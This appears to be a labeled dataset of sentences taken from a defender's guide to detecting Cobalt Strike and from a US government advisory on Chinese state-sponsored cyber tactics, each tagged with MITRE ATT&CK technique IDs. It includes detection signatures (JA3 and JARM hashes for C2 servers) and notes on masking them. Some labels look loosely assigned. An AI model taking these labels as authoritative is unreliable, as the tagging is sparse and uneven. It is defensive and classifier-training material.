{"sentence": "We believe that no single tool can provide complete detection coverage, but we can get close by combining them.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the following section, we will look at these tools that could accelerate analysis for defenders.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Sigma We’ll go through a few Sigma rules that can help us detect Cobalt Strike’s network activity.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike DNS Beaconing is a rule created by Florian Roth which looks at DNS logs to detect the default DNS C2 behavior based on the dns_stager_subhost, put_output and dns_stager_subhost as seen above.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below is a more generic rule created by @bareiss_patrick which is a good example of detecting suspicious DNS traffic based on a high amount of queries for a single domain.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another more generic rule created by Daniil Yugoslavskiy uses dns logs to look for 50 or more TXT records from a single source in one minute: Default Cobalt Strike Certificate is a rule written by Bhabesh Raj that uses Zeek logs to detect the default Cobalt Strike certificate.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "RDP over Reverse SSH Tunnel WFP by Samir Bousseaden is a rule that can look for suspicious RDP activity using reverse tunneling.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "CobaltStrike Malleable Amazon Browsing Traffic Profile by Markus Neis which looks at proxy logs for the Amazon Malleable profile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Other malleable profile rules include CobaltStrike Malformed UAs in Malleable Profiles, CobaltStrike Malleable (OCSP) Profile, and CobaltStrike Malleable OneDrive Browsing Traffic Profile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All Sigma rules here are documented towards the bottom of Part 1. Rita Rita stands for Real Intelligence Threat Analytics (RITA), developed by Active Countermeasures.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Rita is a framework for detecting command and control communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It takes Zeek logs data and can, in our experience, accurately detect beaconing activity.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One of the great features of Rita is its ease of use and detailed output information in various forms, including CSV and HTML.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One simply can point Rita to the Zeek logs and wait for the results.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The more available data, the more precise the results will be.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Zeek logs can be generated from the PCAP(s).", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The screenshot samples below show the results created by Rita based on the traffic we used in the previous sections to demonstrate the jquery malleable C2 profile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We left the Beacon running for an hour to simulate an actual infection while several other network-unrelated processes ran in the background.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "During this hour, we tasked the Beacon with carrying out several commands.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Rita determined that one hour of network data was adequate for identifying the beacon link and assigning it the highest score.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Although, the more data you have, the more accurate the results will be.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below, we can see the results from one of our recent cases, BazarLoader and the Conti Leaks.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The first three IP addresses relate to the CS servers with which the Beacon communicated.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Rita accurately identified beaconing activity related to Cobalt Strike C2 communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Using Rita, we can identify malicious C2 traffic based on multiple variables, including communication frequency, average bytes sent/received, number of connections etc.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As a result, we can detect Cobalt Strike beaconing regardless of the malleable C2 profile utilized or any additional jitter present.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3/JA3S JA3 is an open-source project created by John Althouse, Jeff Atkinson and Josh Atkins.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3/JA3S can create SSL fingerprints for communication between clients and servers.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The unique signatures can represent several values collected from fields in the Client", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Hello packet: - SSL Version - Accepted Ciphers - List of Extensions - Elliptic Curves - Elliptic Curve Formats For more information on how JA3 works, you can visit the official GitHub repository here: https://github.com/salesforce/ja3.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The JA3 tool is used to generate a signature for the client-side beacon connection with the server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3S, on the other hand, is able to generate a server fingerprint.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The combination of the two can produce the most accurate result.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3S can capture the full cryptographic communication and combine the JA3 findings to generate the signature.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The downside of this method is that it can produce inaccurate results if the Cobalt Strike is behind redirectors.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We can find many reports that contain the JA3 value that corresponds to the Cobalt Strike fingerprint.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "When it comes to Cobalt Strike infrastructure, the known JA3 and JA3s signatures that we are looking for are: JA3 72a589da586844d7f0818ce684948eea a0e9f5d64349fb13191bc781f81f42e1 JA3s b742b407517bac9536a77a7b0fee28e9 ae4edc6faf64d08308082ad26be60767 By using JA3/S signatures, we can discover various malware C2 servers and not just Cobalt Strike.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Salesforce provides a thorough collection of signatures that belong to many different applications here.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Some other example signatures with well known JA3 fingerprints are: Trickbot: 6734f37431670b3ab4292b8f60f29984 AsyncRat: fc54e0d16d9764783542f0146a98b300 Dridex: 51c64c77e60f3980eea90869b68c58a8 JA3 of Python usually hosting Empire or PoshC2: db42e3017c8b6d160751ef3a04f695e7 TOR client: e7d705a3286e19ea42f587b344ee6865 Another very good website to test the JA3 signature against a large database is ja3er.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JARM Similar to JA3/JA3S, JARM has the ability to fingerprint the TLS values of the remote server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It does this by interacting with the target server sending 10 TLS Client", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Hello packets and recording the specific attributes from the replies.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It will then hash the result values and create the final JARM fingerprint.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Unlike JA3/S, JARM is an active way of fingerprinting remote server applications.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "John Althouse has created a medium post that accurately conveys the differences between JA3/S and JARM: “JARM actively scans the server and builds a fingerprint of the server application.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Whereas JA3/S is passive, just listening, not reaching out, JARM is active, actively probing the target.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "And is able to build a fingerprint of the server application where JA3S could not.”", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "According to research and further changes on the JAVA TLS version as mentioned below, the JARM fingerprint that corresponds to a default configuration of the Cobalt Strike is: 07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 Cobalt Strike is dependent on Java to run both the client graphical user interface (GUI) and the team server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "When we scan a Cobalt Strike server using JARM, the results we get back are dependent on the Java version that is used.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "According to Cobalt Strike’s documentation, OpenJDK 11 is the preferred version that needs to be installed by the operators.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This makes it easier to identify a potential Cobalt Strike server, however, defenders should be aware that this outcome alone is prone to false positives.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is because many other legitimate servers on the internet use this version of Java to operate their web applications.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "On April 20th, 2021 Java Disabled TLS 1.0 and TLS 1.1 in favor of TLS 1.2 or above.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Following this change, the JARM fingerprint for Cobalt Strike servers changed: From: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "To: 07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 This change was highlighted by @bodziurity and @WLesicki in a collaborative effort: Cobalt Strike has a post dedicated to JARM that goes into detail on how JARM works and how the specific hash value is created based on the Java version.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Looking into our reporting for this hash value will return four of our cases.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All these cases involve Cobalt Strike as the post-exploitation method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "To generate a JARM fingerprint against a server, you can run the JARM python tool: python3 jarm.py", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "[target] -p", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "[port] While JARM’s offer another tool to help reveal adversary infrastructure they are not an indicator that can be used in isolation.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JARM signatures can be masked, Dagmawi Mulugeta presented at HiTB Amsterdam in 2021 a tool that enables red teams or adversaries to mask the JARM signatures of their infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Called JARM Randomizer the tool can be configured as a proxy in front of the Cobalt Strike server to serve up false data to potential internet scanners.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Other JARMs can be found at: https://github.com/cedowens/C2-JARM.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime (Moloch) and JA3/S We included Arkime as it integrates with JA3/JA3S and other plugins to enhance network analysis.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime is a tool that we use a lot to investigate network activity and gather indicators.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It can index network traffic and make events easily searchable.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime is simple to set up and excellent for reviewing traffic.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime makes use of additional analysis tools by including them as plugins.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "More on this and other tools in the next report.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All for now That wraps up Cobalt Strike, a Defender’s Guide Part 2.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Would you like to see something specific in Part 3?", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Contact us here or on Twitter with suggestions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Thanks for reading and hope this helps!", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Please see the bottom of our first report for more detections & rules.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The post Cobalt Strike, a Defender’s Guide – Part 2 appeared first on The DFIR Report.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Original release date: July 19, 2021 | Last revised: August 20, 2021SummaryThis advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework, Version 9, and MITRE D3FEND:trade_mark: framework, version 0.9.2-BETA-3.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques and the D3FEND framework for referenced defensive tactics and techniques.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "The National Security Agency, Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China state-sponsored malicious cyber activity is a major threat to U.S. and Allied cyberspace assets.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors aggressively target U.S. and allied political, economic, military, educational, and critical infrastructure (CI) personnel and organizations to steal sensitive data, critical and emerging key technologies, intellectual property, and personally identifiable information (PII).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Some target sectors include managed service providers, semiconductor companies, the Defense Industrial Base (DIB), universities, and medical institutions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These cyber operations support China’s long-term economic and military development objectives.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This Joint Cybersecurity Advisory (CSA) provides information on tactics, techniques, and procedures (TTPs) used by Chinese state-sponsored cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This advisory builds on previous NSA, CISA, and FBI reporting to inform federal, state, local, tribal, and territorial (SLTT) government, CI, DIB, and private industry organizations about notable trends and persistent TTPs through collaborative, proactive, and retrospective analysis.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "To increase the defensive posture of their critical networks and reduce the risk of Chinese malicious cyber activity, NSA, CISA, and FBI urge government, CI, DIB, and private industry organizations to apply the recommendations listed in the Mitigations section of this advisory and in Appendix A: Chinese State-sponsored Cyber Actors' Observed Procedures.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: NSA, CISA, and FBI encourage organization leaders to review CISA Joint Insights: Chinese Malicious Cyber Activity: Threat Overview for Leaders for information on this threat to their organization.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Technical DetailsTrends in Chinese State-Sponsored Cyber Operations NSA, CISA, and FBI have observed increasingly sophisticated Chinese state-sponsored cyber activity targeting U.S. political, economic, military, educational, and CI personnel and organizations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "NSA, CISA, and FBI have identified the following trends in Chinese state-sponsored malicious cyber operations through proactive and retrospective analysis: Acquisition of Infrastructure and Capabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors remain agile and cognizant of the information security community’s practices.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These actors take effort to mask their activities by using a revolving series of virtual private servers (VPSs) and common open-source or commercial penetration tools. Exploitation of Public Vulnerabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors consistently scan target networks for critical and high vulnerabilities within days of the vulnerability’s public disclosure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "In many cases, these cyber actors seek to exploit vulnerabilities in major applications, such as Pulse Secure, Apache, F5 Big-IP, and Microsoft products.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For information on Common Vulnerabilities and Exposures (CVE) known to be exploited by malicious Chinese state-sponsored cyber actors, see: CISA-FBI Joint CSA AA20-133A: Top 10 Routinely Exploited Vulnerabilities, CISA Activity Alert: AA20-275A: Potential for China Cyber Response to Heightened U.S.-China Tensions, and NSA CSA U/OO/179811-20: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Encrypted Multi-Hop Proxies.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors have been routinely observed using a VPS as an encrypted proxy.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "The cyber actors use the VPS as well as small office and home office (SOHO) devices as operational nodes to evade detection.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Observed Tactics and Techniques Chinese state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest worldwide and to acquire sensitive intellectual property, economic, political, and military information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Appendix B: MITRE ATT&CK Framework lists the tactics and techniques used by Chinese state-sponsored cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "A downloadable JSON file is also available on the NSA Cybersecurity GitHub page.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Refer to Appendix A: Chinese State-Sponsored Cyber Actors’ Observed Procedures for information on procedures affiliated with these tactics and techniques as well as applicable mitigations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Figure 1: Example of tactics and techniques used in various cyber operations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Mitigations NSA, CISA, and FBI urge federal and SLTT government, CI, DIB, and private industry organizations to apply the following recommendations as well as the detection and mitigation recommendations in Appendix A, which are tailored to observed tactics and techniques: Patch systems and equipment promptly and diligently.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally facing equipment and CVEs known to be exploited by Chinese state-sponsored cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider implementing a patch management program that enables a timely and thorough patching cycle.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: for more information on CVEs routinely exploited by Chinese state-sponsored cyber actors refer to the resources listed in the Trends in Chinese State-Sponsored Cyber Operations section.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enhance monitoring of network traffic, email, and endpoint systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review network signatures and indicators for focused activities, monitor for new phishing themes, and adjust email rules accordingly.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Follow the best practices of restricting attachments via email and blocking URLs and domains based upon reputation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that log information is aggregated and correlated to enable maximum detection capabilities, with a focus on monitoring for account misuse.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor common ports and protocols for command and control (C2) activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement and enhance network and endpoint event analysis and detection capabilities to identify initial infections, compromised credentials, and the manipulation of endpoint processes and files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use protection capabilities to stop malicious activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement anti-virus software and other endpoint protection capabilities to automatically detect and prevent malicious files from executing.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a network intrusion detection and prevention system to identify and prevent commonly employed adversarial malware and limit nefarious data transfers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a domain reputation service to detect suspicious or malicious domains.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use strong credentials for service accounts and multi-factor authentication (MFA) for remote access to mitigate an adversary's ability to leverage stolen credentials, but be aware of MFA interception techniques for some MFA implementations.:black_small_square: Resources Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/What-We-Do/Cybersecurity/Advisories-Technical-Guidance/ for previous reporting on Chinese state-sponsored malicious cyber activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disclaimer of Endorsement The information and opinions contained in this document are provided \"as is\" and without any warranties or guarantees.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Purpose", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This document was developed by NSA, CISA, and FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This information may be shared broadly to reach all appropriate stakeholders.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This document is marked TLP:WHITE.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disclosure is not limited.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/. Trademark Recognition MITRE and ATT&CK are registered trademarks of The MITRE Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• D3FEND is a trademark of The MITRE Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Microsoft, Microsoft Exchange, Office 365, Microsoft Office, OneDrive, Outlook, OWA, PowerShell, Windows Defender, and Windows are registered trademarks of Microsoft Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Pulse Secure is a registered trademark of Pulse Secure, LLC.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Apache is a registered trademark of Apache Software Foundation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• F5 and BIG-IP are registered trademarks of F5 Networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Cobalt Strike is a registered trademark of Strategic Cyber LLC.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "GitHub is a registered trademark of GitHub, Inc. •", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "JavaScript is a registered trademark of Oracle Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Python is a registered trademark of Python Software Foundation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Unix is a registered trademark of The Open Group.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Linux is a registered trademark of Linus Torvalds.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Dropbox is a registered trademark of Dropbox, Inc. APPENDIX A: Chinese State-Sponsored Cyber Actors’ Observed Procedures Note: D3FEND techniques are based on the Threat Actor Procedure(s) and may not match automated mappings to ATT&CK techniques and sub-techniques.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Tactics: Reconnaissance [TA0043] Table 1: Chinese state-sponsored cyber actors’ Reconnaissance TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Active Scanning [T1595] Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft:registered: 365 (M365), formerly Office:registered: 365, resources with the intent of further gaining information about the networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These scans can be automated, through Python:registered: scripts, to locate certain files, paths, or vulnerabilities.", "labels": ["T1083"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit.", "labels": ["T1016"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Minimize the amount and sensitivity of data available to external parties, for example: Scrub user email addresses and contact lists from public websites, which can be used for social engineering, Share only necessary data and information with third parties, and Monitor and limit third-party access to the network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Active scanning from cyber actors may be identified by monitoring network traffic for sources associated with botnets, adversaries, and known bad IPs based on threat intelligence.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Connection Attempt Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-CAA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Gather Victim Network Information", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1590] Tactics: Resource Development [TA0042] Table II:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors’ Resource Development TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Acquire Infrastructure [T1583] Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Adversary activities occurring outside the organization’s boundary of control and view makes mitigation difficult.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Organizations can monitor for unexpected network traffic and data flows to and from VPSs and correlate other suspicious activity that may indicate an active threat.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "N/A Stage Capabilities [T1608] Obtain Capabilities", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1588]: Tools [T1588.002] Chinese state-sponsored cyber actors have been observed using Cobalt Strike:registered: and tools from GitHub:registered: on victim networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
